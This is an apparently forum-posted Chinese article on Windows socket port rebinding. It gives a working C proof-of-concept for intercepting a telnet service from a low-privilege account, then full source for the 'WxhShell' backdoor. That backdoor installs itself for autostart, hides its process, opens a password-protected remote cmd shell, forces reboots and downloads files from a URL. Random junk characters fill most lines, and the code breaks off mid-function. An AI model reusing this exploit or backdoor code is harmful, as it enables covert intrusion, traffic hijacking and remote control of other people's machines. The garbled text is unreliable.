在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
YXOD
fd%L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8U$UI W_lNvzag saddr.sin_family = AF_INET;
gI$`d?[0{ k0=y_7
=(5 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Q^;\!$:M Y\F H4}\S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`
R-np_ T"lqPbK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^OsUWhkV
BNUf0; 这意味着什么?意味着可以进行如下的攻击:
JVCgYY({KQ 7q=xW6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>}tG^ )os -igZU>0B_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
TuR?r`P% +OP' / 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:jCaDhK WWzns[$f 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*38\&"s4_ 5Wjp_^!e
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
k !r z8S" Jk{2!uP 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
mjc:0hH M#,+p8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
D~);:}}> "6h.6_bTw #include
~|]\.^B #include
x/v+7Pt_ #include
<<6#Uz.1 #include
9&jNdB DWORD WINAPI ClientThread(LPVOID lpParam);
gW%(_H mX int main()
[X\2U4 {
,\"gN5[$( WORD wVersionRequested;
J>|` DWORD ret;
~0:c{v;4 WSADATA wsaData;
n\,W:G9AR7 BOOL val;
3_:k12%p SOCKADDR_IN saddr;
Ue%5
:Sdr SOCKADDR_IN scaddr;
]>j_
Y, int err;
]P5u:~U SOCKET s;
BGOI SOCKET sc;
%oQj^r!Xd int caddsize;
KO7cZME HANDLE mt;
s^<
oU DWORD tid;
P]^]
T}5 wVersionRequested = MAKEWORD( 2, 2 );
J]e&z5c err = WSAStartup( wVersionRequested, &wsaData );
2j|Eh
if ( err != 0 ) {
".=EAXVU printf("error!WSAStartup failed!\n");
)Qp?LECrt return -1;
"[,XS` }
-JkO[IF saddr.sin_family = AF_INET;
0}!lN{m? h<q``hn> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
T!r7RS Dbd5d]]n3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
F*u;'K saddr.sin_port = htons(23);
s6IuM )x if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
CQHlSV W {
5}VP-04vh printf("error!socket failed!\n");
r6<}S( return -1;
$tJJ
>" }
2q bpjm val = TRUE;
~CscctD{; //SO_REUSEADDR选项就是可以实现端口重绑定的
?U[AE -* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
w0SgF/"@ {
z9ZAY!Zhq] printf("error!setsockopt failed!\n");
;E_{Zji_e return -1;
jHzb,& }
wq#3f#3V //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ujedvw;sO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^}#!?"Y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
7v_e"[s~ ~heF0C_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Zx{'S3W {
z~al
h?H ret=GetLastError();
Bc@e;k@i printf("error!bind failed!\n");
Q)/q h;Ru return -1;
-0{WB(P }
=r2d{ listen(s,2);
?aui q while(1)
-mF9Skj {
mBF?+/l caddsize = sizeof(scaddr);
#SmWF|/ //接受连接请求
|SmN.*&(9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
U ;/ )V if(sc!=INVALID_SOCKET)
/r6DPR0\ {
D.~t#a A mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
&R]G)f#w%* if(mt==NULL)
g&
Rk}/F {
fi)ypv* printf("Thread Creat Failed!\n");
JB7]51WH@ break;
&}ow-u9c3 }
Q2o:wXvj }
Nx"?'-3Hm CloseHandle(mt);
uQlV zN.? }
Fk\xq`3'c closesocket(s);
QK\z-'&n WSACleanup();
*gnL0\* return 0;
slbV[xR }
~F-,Q_|- DWORD WINAPI ClientThread(LPVOID lpParam)
gQ[4{+DSf {
%WR SOCKET ss = (SOCKET)lpParam;
&2DW SOCKET sc;
3ba"[C| unsigned char buf[4096];
*MNY1+RJ SOCKADDR_IN saddr;
C*$/J\6xy long num;
>4c 1VEi DWORD val;
6=FuH@Q& DWORD ret;
G(-
`FH //如果是隐藏端口应用的话,可以在此处加一些判断
1,E/So //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
x8^Dhpr6 saddr.sin_family = AF_INET;
9bB~r[k saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
R B!g,u saddr.sin_port = htons(23);
Gu-Sv!4p if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*,(`%b[ {
NNT9\JRv_ printf("error!socket failed!\n");
/i<g>*82 return -1;
[3s~Z8
pP }
nz(OHh!}u val = 100;
;AaF ;zPV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\n5,!,A {
8`D_"3j3g\ ret = GetLastError();
8dv1#F| return -1;
1/ a,7Hl }
*QLbrR if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
q^s$4 q {
bFpwq#PDW> ret = GetLastError();
;O CYx[| return -1;
lyyi?/W% }
cG<?AR?wDT if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
GZ1>]HB>r^ {
ci!c7 ,'c printf("error!socket connect failed!\n");
y~\z_') <> closesocket(sc);
B\6\QQ;rUo closesocket(ss);
hE; return -1;
pJmn;XbME }
B`vV[w? while(1)
{0|^F!1z {
1@am'#< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~HELMS~- //如果是嗅探内容的话,可以再此处进行内容分析和记录
m4EkL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Dbgw)n*2 num = recv(ss,buf,4096,0);
B>R6j}rh'k if(num>0)
uW]n3)7<I send(sc,buf,num,0);
\oi=fu=}* else if(num==0)
\ZC7vM"h break;
b@7
ItzD num = recv(sc,buf,4096,0);
7L!k9"X`0F if(num>0)
h:|aQJG5 send(ss,buf,num,0);
nPKj%g3h else if(num==0)
"m!Cl-+u break;
TPrwC~\B/ }
6wGf47 closesocket(ss);
NTV0DkX closesocket(sc);
%bAv.'C return 0 ;
\t}!Dr+yN }
]8RcZn <+6)E@Y 3h4>edM ==========================================================
&ha39&I UW\.!TV 下边附上一个代码,,WXhSHELL
:S.0e L"IdD5`7T ==========================================================
4u<oe_n E]68IuP@' #include "stdafx.h"
s>kzt1,x r!;NH3 * #include <stdio.h>
!a
/ #include <string.h>
+;vfn>^!b #include <windows.h>
/V,:gLpQ #include <winsock2.h>
8 }-"&-X #include <winsvc.h>
5[0n'uH #include <urlmon.h>
wL:3RZB #q%&,;4 #pragma comment (lib, "Ws2_32.lib")
c(o8uWn #pragma comment (lib, "urlmon.lib")
oM< 9]jK} IkD\YPL; #define MAX_USER 100 // 最大客户端连接数
$Q62
7 #define BUF_SOCK 200 // sock buffer
Mq$e5&/ #define KEY_BUFF 255 // 输入 buffer
2 Y%$6NX nH;^$b'LZ #define REBOOT 0 // 重启
:}Z+K*%o- #define SHUTDOWN 1 // 关机
s{gdTG6v` !fZxK CsQ #define DEF_PORT 5000 // 监听端口
v,kedKcxv' :=-h'<D #define REG_LEN 16 // 注册表键长度
}v`5
#define SVC_LEN 80 // NT服务名长度
BwbvZfV| Yk:\oM // 从dll定义API
4\t9(_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
daaurT typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
9= :!XkT. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v-OaH81&R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`a]
/e `/"TYR% // wxhshell配置信息
oM J5; struct WSCFG {
g,\<fY+4 int ws_port; // 监听端口
m,'u_yK char ws_passstr[REG_LEN]; // 口令
gQ&FO~cr int ws_autoins; // 安装标记, 1=yes 0=no
w!h!%r char ws_regname[REG_LEN]; // 注册表键名
}y'KS:Jb char ws_svcname[REG_LEN]; // 服务名
@zE_fL char ws_svcdisp[SVC_LEN]; // 服务显示名
CB|Z~_Bm char ws_svcdesc[SVC_LEN]; // 服务描述信息
A!SHt7ysJ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
p=T]%k*^h# int ws_downexe; // 下载执行标记, 1=yes 0=no
{eS!cZJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
L~~;i'J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7GpSWM6 8hdd1lVKO8 };
\T>f+0=4 :h" Y >1P // default Wxhshell configuration
`*N2x\+X struct WSCFG wscfg={DEF_PORT,
jytfGE: "xuhuanlingzhe",
ZfS-W&6Z 1,
{,,w5/k^ "Wxhshell",
6:@tHUm "Wxhshell",
uS3J^=>@(a "WxhShell Service",
[@Y?'={qE "Wrsky Windows CmdShell Service",
7|*|xLrVY "Please Input Your Password: ",
]^R;3kU4Q 1,
D[ny%9 : "
http://www.wrsky.com/wxhshell.exe",
AfyEFnY "Wxhshell.exe"
)0YMi!&j` };
cSQvP. 'xhX\?mD // 消息定义模块
4k}u`8 a char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
S&FMFXF@ char *msg_ws_prompt="\n\r? for help\n\r#>";
` O-$qT,_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@32JMS< char *msg_ws_ext="\n\rExit.";
]QRhTz char *msg_ws_end="\n\rQuit.";
qpFFvZ
W char *msg_ws_boot="\n\rReboot...";
p^^E(<2 char *msg_ws_poff="\n\rShutdown...";
a~WtW] char *msg_ws_down="\n\rSave to ";
c1Xt$[_ 0fwo8NgX char *msg_ws_err="\n\rErr!";
(eFHMRMv~ char *msg_ws_ok="\n\rOK!";
NJwcb=* MX]<tR ` char ExeFile[MAX_PATH];
uee2WGD int nUser = 0;
\f05(ld HANDLE handles[MAX_USER];
&K/5AH"q int OsIsNt;
kF`2%g+ gCW.;|2 SERVICE_STATUS serviceStatus;
!'[f!vsyM{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
^dld\t:tV7 [PdatL2 // 函数声明
`#E1FB2M int Install(void);
L6O*aZ| int Uninstall(void);
fMy7pXa_ int DownloadFile(char *sURL, SOCKET wsh);
b~z1%? int Boot(int flag);
">j}!n
8J void HideProc(void);
YOqGFi~` int GetOsVer(void);
ULNU'6 int Wxhshell(SOCKET wsl);
^/U-(4O05* void TalkWithClient(void *cs);
UzWf_r int CmdShell(SOCKET sock);
r1}YN<+,s int StartFromService(void);
W^Wr int StartWxhshell(LPSTR lpCmdLine);
amK"Z<V F TkM8GK-3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
q]DV49UK VOID WINAPI NTServiceHandler( DWORD fdwControl );
:D""c* i]JD::P_H // 数据结构和表定义
5(]=?$$*t SERVICE_TABLE_ENTRY DispatchTable[] =
mR)Xq= {
VE`5bD+%e {wscfg.ws_svcname, NTServiceMain},
nn5tOV}QE {NULL, NULL}
eF823cH2x_ };
*0^!%Y'/4 R%=u<O // 自我安装
1kEXTs=, int Install(void)
%4*-BCP {
n<+g{QHi char svExeFile[MAX_PATH];
|Ah'KpL8W HKEY key;
4"nb>tA strcpy(svExeFile,ExeFile);
p8aGM-+40W ^~'tQ}]!" // 如果是win9x系统,修改注册表设为自启动
omevF>b; if(!OsIsNt) {
0z1m!tr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.B_LQ;0:
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o$)pJ#";F RegCloseKey(key);
2~h! ouleY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q$L=G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N_Q)AXr) RegCloseKey(key);
|`B*\\ 1 return 0;
%
P
.(L }
I|8'#QX }
7Ko<,Kp2b }
ZfsM($|a else {
R9@Dd -FftEeo7 // 如果是NT以上系统,安装为系统服务
)WuU?Tn& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,<Zu4bww if (schSCManager!=0)
,j E'd'$ {
T5H[~b|9- SC_HANDLE schService = CreateService
T;!: A (
}-4@EC> schSCManager,
RdaAS{>Sk wscfg.ws_svcname,
Jmg<mjq/G wscfg.ws_svcdisp,
Gmi ^2?Z( SERVICE_ALL_ACCESS,
#[ZToE4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Zq1ZrwPF SERVICE_AUTO_START,
3>asl54 SERVICE_ERROR_NORMAL,
O=m_P}K svExeFile,
v%a)nv NULL,
@D1}). NULL,
pn"TFapJA NULL,
PIOG|E NULL,
%EV\nwn6 NULL
\vwsRT 1 );
eYNu78u if (schService!=0)
6bPoC$<Z {
w1U2cbCr/ CloseServiceHandle(schService);
~C M%WvS CloseServiceHandle(schSCManager);
w(Jf;[o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pV:;!+ strcat(svExeFile,wscfg.ws_svcname);
X?'Sh XI if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
"}ibH{$lM RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
B}S!l>.z RegCloseKey(key);
>2vUFq`H return 0;
QiO4fS'~W }
r:N =?X`N }
d ? Uj3G CloseServiceHandle(schSCManager);
<KY \sb9 }
@2(7
ZxI }
[l#
8}dy [u*-~( return 1;
0ndk=V }
p}}pq~EH/
-%f$$7 // 自我卸载
2-G6I92d int Uninstall(void)
?OjZb'+=K {
hSkI]% HKEY key;
/Uxp5 b h G42J if(!OsIsNt) {
B8Vhl:p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xD.Uh}:J RegDeleteValue(key,wscfg.ws_regname);
+|0f7RB+R RegCloseKey(key);
2><=U7~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/6fa
7; RegDeleteValue(key,wscfg.ws_regname);
X%X`o%AqC RegCloseKey(key);
R;d)I^@ return 0;
0+3_CS++r }
>;qAj!' }
=1ltX+
}
}^Ymg7wA else {
G.{)#cR qe/dWJBa SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
LOO<)XFJ if (schSCManager!=0)
E^s<5BC; {
o,NTIh SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
, B90r7K: if (schService!=0)
kz!CxI ( {
9Gh:s6 if(DeleteService(schService)!=0) {
[k~}Fe)x CloseServiceHandle(schService);
Xmb001 CloseServiceHandle(schSCManager);
xVnk]:c return 0;
WMi$ATq }
t/$:g9V%FA CloseServiceHandle(schService);
ioW&0?,Ym }
1`& Yg( CloseServiceHandle(schSCManager);
h/goV }
2#jBh }
OK] _.v} 3aY^6& return 1;
L$zB^lSM }
1XppC[)) cM?i _m // 从指定url下载文件
*`]#ntz9 int DownloadFile(char *sURL, SOCKET wsh)
x*#9\*@EI {
N\{{:<Cp\ HRESULT hr;
<sncW>?!~ char seps[]= "/";
?y/LMja char *token;
L#|6Lnp^ char *file;
^{}$o#iof char myURL[MAX_PATH];
XM#xxf* Y char myFILE[MAX_PATH];
Mn<#rBE B e+~Q58oD strcpy(myURL,sURL);
L,\wB7t token=strtok(myURL,seps);
b[/uSwvi while(token!=NULL)
p)e?0m26 {
\+#>XDD file=token;
(5/>arDn token=strtok(NULL,seps);
xJ rKH }
Spm0DqqR? }!_ofe GetCurrentDirectory(MAX_PATH,myFILE);
7Zw.mM!i strcat(myFILE, "\\");
2kfX_RK strcat(myFILE, file);
)` z{T send(wsh,myFILE,strlen(myFILE),0);
,9.-A-Yw send(wsh,"...",3,0);
Dg=!d)\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ISDeLUihY if(hr==S_OK)
U(6=;+q return 0;
I xk+y? else
MszX9wl return 1;
o+0x1Ct3P (#Ku` }
$8{v_2C){ Yw6^(g8 // 系统电源模块
O<>cuW(l int Boot(int flag)
&_dM2lj{ {
_&R lR HANDLE hToken;
#qDMUN*i TOKEN_PRIVILEGES tkp;
(:r80: %~rXJrK if(OsIsNt) {
MJ_]N+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
cii!
WCu LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5fvY#6; tkp.PrivilegeCount = 1;
i XPe tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
;^DG P AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
cCBYM if(flag==REBOOT) {
}UzRFIcv if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
?}ly`Js return 0;
G?dxLRy.do }
;_6CV else {
_^MkC}8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(N^tg8 Z< return 0;
:G[6c5j|V }
AD>X'J
u8 }
zI{~;`tzN else {
vE{L `,\q if(flag==REBOOT) {
PC)aVr?@@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
c`O(||UZT return 0;
(T|q]29 }
COc
t d else {
chakp!S= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Vk:] aveW return 0;
.8dlf7* , }
"pMx( }
kCHYLv3. tl"?AQcBR return 1;
[I6&|Lz> }
nsN|[E8 &rfl(&\oUi // win9x进程隐藏模块
R5& R~1N void HideProc(void)
6DT^:LHS {
<5E: ,< z)F<{]% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
RAU" if ( hKernel != NULL )
A+41JMH {
c-oIP~, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
py }`thx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
d}^G790 FreeLibrary(hKernel);
AMre(lgh }
L0X/ %4,v2K return;
#5X535'ze }
gZ@z}CIw' N%Uk/ c' // 获取操作系统版本
%EEQ^lm int GetOsVer(void)
ZG$PW<73~ {
k9m9IE"9=$ OSVERSIONINFO winfo;
\'CA:9V} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
uD4j.% GetVersionEx(&winfo);
n5+Z|<3) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
*W-:]t3CR return 1;
brEA-xNWQ else
]x5+v0 return 0;
Xkp?)x3~X }
Sp/<%+2( h>"j!|#!s // 客户端句柄模块
2Y~nU(
int Wxhshell(SOCKET wsl)
-gB9476- {
:r4o:@N' SOCKET wsh;
-]Y@_T.C struct sockaddr_in client;
3eERY[ DWORD myID;
pD17r}% XiO~^=J while(nUser<MAX_USER)
+SNjU"x {
g\]~H%2 , int nSize=sizeof(client);
Vrn+"2pdJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ib- H
jJ8 if(wsh==INVALID_SOCKET) return 1;
!2F X l; %R^*MUTx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.]YTS if(handles[nUser]==0)
7q(A& closesocket(wsh);
a.2Xl}2o5 else
=/Ph]f9 nUser++;
IXv9mr?H} }
(v}4,'dS WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
i]15g@ _=_<cgy1u return 0;
txik{' : }
*f o> 7 T // 关闭 socket
722:2 { void CloseIt(SOCKET wsh)
LYO2L1u) {
v>/_U closesocket(wsh);
B!1h"K5.($ nUser--;
{s>V'+H(F ExitThread(0);
'81c>qA }
G^Va$ike Mp?L9 // 客户端请求句柄
dJ{q}U void TalkWithClient(void *cs)
iAo/Dnp2J {
]j0/.pG IictX"3lh SOCKET wsh=(SOCKET)cs;
,c,@WQ2:- char pwd[SVC_LEN];
PiN^/#D char cmd[KEY_BUFF];
uN4e n, char chr[1];
m "96%sB int i,j;
Rga
*68s|& .: k6Kg while (nUser < MAX_USER) {
;EQ7kuJQ?
g'AxJ if(wscfg.ws_passstr) {
<Hr~|oG if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
G!+Mu2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
GfV#^qi //ZeroMemory(pwd,KEY_BUFF);
&dG^ M2g-F i=0;
>hY.F/[ while(i<SVC_LEN) {
H128T8?r[ A(*c|Aj9 // 设置超时
E>iN > fd_set FdRead;
xqb*;TBh* struct timeval TimeOut;
3EHB~rL/C FD_ZERO(&FdRead);
c2gi3 FD_SET(wsh,&FdRead);
%j@@J\G! TimeOut.tv_sec=8;
t:"3MiM=c TimeOut.tv_usec=0;
hp`ZmLq/[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
YQcaWd( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
DTlId~Dyq ( 8X^pL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
uUb`Fy9 pwd
=chr[0]; x\oSD1t,
if(chr[0]==0xd || chr[0]==0xa) { ;!A=YXB
pwd=0; Y5c[9\'\
break; wjfq"7Q
} 6qSsr]
i++; {1gT{2/~@
} ?,i}Qr [Q
>Ptu-*
// 如果是非法用户,关闭 socket ]iMqIh"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z~].v._YV)
} pI_dV44W
L{rd',
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W{c
Z7$d
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GVhy
}0|
k{H7+;_
while(1) { {[3xi`0-
e/&^~ $h
ZeroMemory(cmd,KEY_BUFF); E\ls- (,
3m| C8:
// 自动支持客户端 telnet标准 THARr#1b};
j=0; O?O=]s
u
while(j<KEY_BUFF) { ?:h*=0>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N=\weuED
cmd[j]=chr[0]; ^GlzKl
if(chr[0]==0xa || chr[0]==0xd) { bjo}95
cmd[j]=0; 9s1^hW2%Q
break; 7Ie=(x8):
} J;=T"C&
j++; #qFY`fVf1
} ,OERDWW|6
Mi;Pv*
// 下载文件 K?Sy?Kz
if(strstr(cmd,"http://")) { rzs-c ?
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f!#+cM
if(DownloadFile(cmd,wsh)) 0HUylnXf0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =^SxZ Bn
else RD46@Q`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b;%t*?t
} X`1R&K;z^
else { Z/dhp0k
tHAe
switch(cmd[0]) { Lx tgf2r
P8Wv&5A
// 帮助 0)M8Tm0$
case '?': { >lfuo
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SZEi+CRs0
break; N/ f7"~+`
} TDUY& 1[
// 安装 {0j_.XZ
case 'i': { !=A;?Kdq
if(Install()) @Ns[qn;9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mBE&>}G<
else ,uAp;"YJeV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :W5W
@8Y
break; JXM]tV
} l#`G4Vf
// 卸载 ]8}51y8
case 'r': { 6pSi-FH
if(Uninstall())
o8Gygi5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dnl<w<}ZU:
else Pc_aEBq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 76wNZv)9
break; }f]Y^>-Ux
} _'LZf=V0
// 显示 wxhshell 所在路径 -(t7>s
case 'p': { pF4Z4?W
char svExeFile[MAX_PATH]; ;8eKAh
strcpy(svExeFile,"\n\r"); __2<v?\
strcat(svExeFile,ExeFile); P RWb6
send(wsh,svExeFile,strlen(svExeFile),0); Qr9;CVW
break; ?oFd%|I
} ](A2,F
9(U
// 重启 xC,x_:R`
case 'b': { bh<;px-
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vv45w#w;
if(Boot(REBOOT)) !t^DN\\#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #<S*MGp!=
else { FO5a<6
closesocket(wsh); REU,"
ExitThread(0); 3f] ;y<Km
} pK@=]K~l0
break; USEb} M`
} j/z=<jA
// 关机 >m>F {v
case 'd': { L23}{P
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w?8SQI,~X
if(Boot(SHUTDOWN)) ;~EQS.Qp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5$:
toL
else { EU %,tp
closesocket(wsh); ^>?=L\[
ExitThread(0); !:^q_q4
} 3o%vV*
break; I70c,4_G
} 6e%@uB}$
// 获取shell 8o$rF7.-
case 's': { eHuJFM
CmdShell(wsh); Bchv1KF
closesocket(wsh); I I+y
ExitThread(0); l6ym <V(1p
break; ;^5k_\
} yGdX>h
// 退出 Zgo~"G
case 'x': { IHni1
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gv_~@MN
CloseIt(wsh); wQSye*ec
break; #GE]]7:Na
} Q$c6l[(g
// 离开 )1uiY
f&k
case 'q': { e@Lxduq
send(wsh,msg_ws_end,strlen(msg_ws_end),0); FfdB%
closesocket(wsh); 6
Rl[M+Q
WSACleanup(); [OW <<6
exit(1); Do/R.Mgy*
break; /ce;-3+
} c Mgd
} #wI}93E
} d+
jX49Vt
j#1G?MF
// 提示信息 a%T`c/C
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "`$,qvNN
} L~Gr,i
} #i[:oC6m:
H#~gx_^U
return; uiVNz8H
} L"qJZU
dU$VRgP/
// shell模块句柄 Io1j%T#ZT
int CmdShell(SOCKET sock) eQuu\/z*H
{ 5#,H&ui\
STARTUPINFO si; Vxh39eW
ZeroMemory(&si,sizeof(si)); YYv0cV{E
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; apo)cR
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p~ b4TRvA6
PROCESS_INFORMATION ProcessInfo; *siX:?l
char cmdline[]="cmd"; ~U0%}Bbh
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |O{N_-];.
return 0; &-3e3)
} eDJnzh83
X0G,tl
// 自身启动模式 "m K`3</G
int StartFromService(void) N1a]y/
{ MJ|tfQwhx
typedef struct c*;oR$VW
{ m,k0 h%
DWORD ExitStatus; IZ=Z=k{
DWORD PebBaseAddress; 3iCe5VF
DWORD AffinityMask; S,c{LTL
DWORD BasePriority; 42NfD/"g+s
ULONG UniqueProcessId; L ;L:
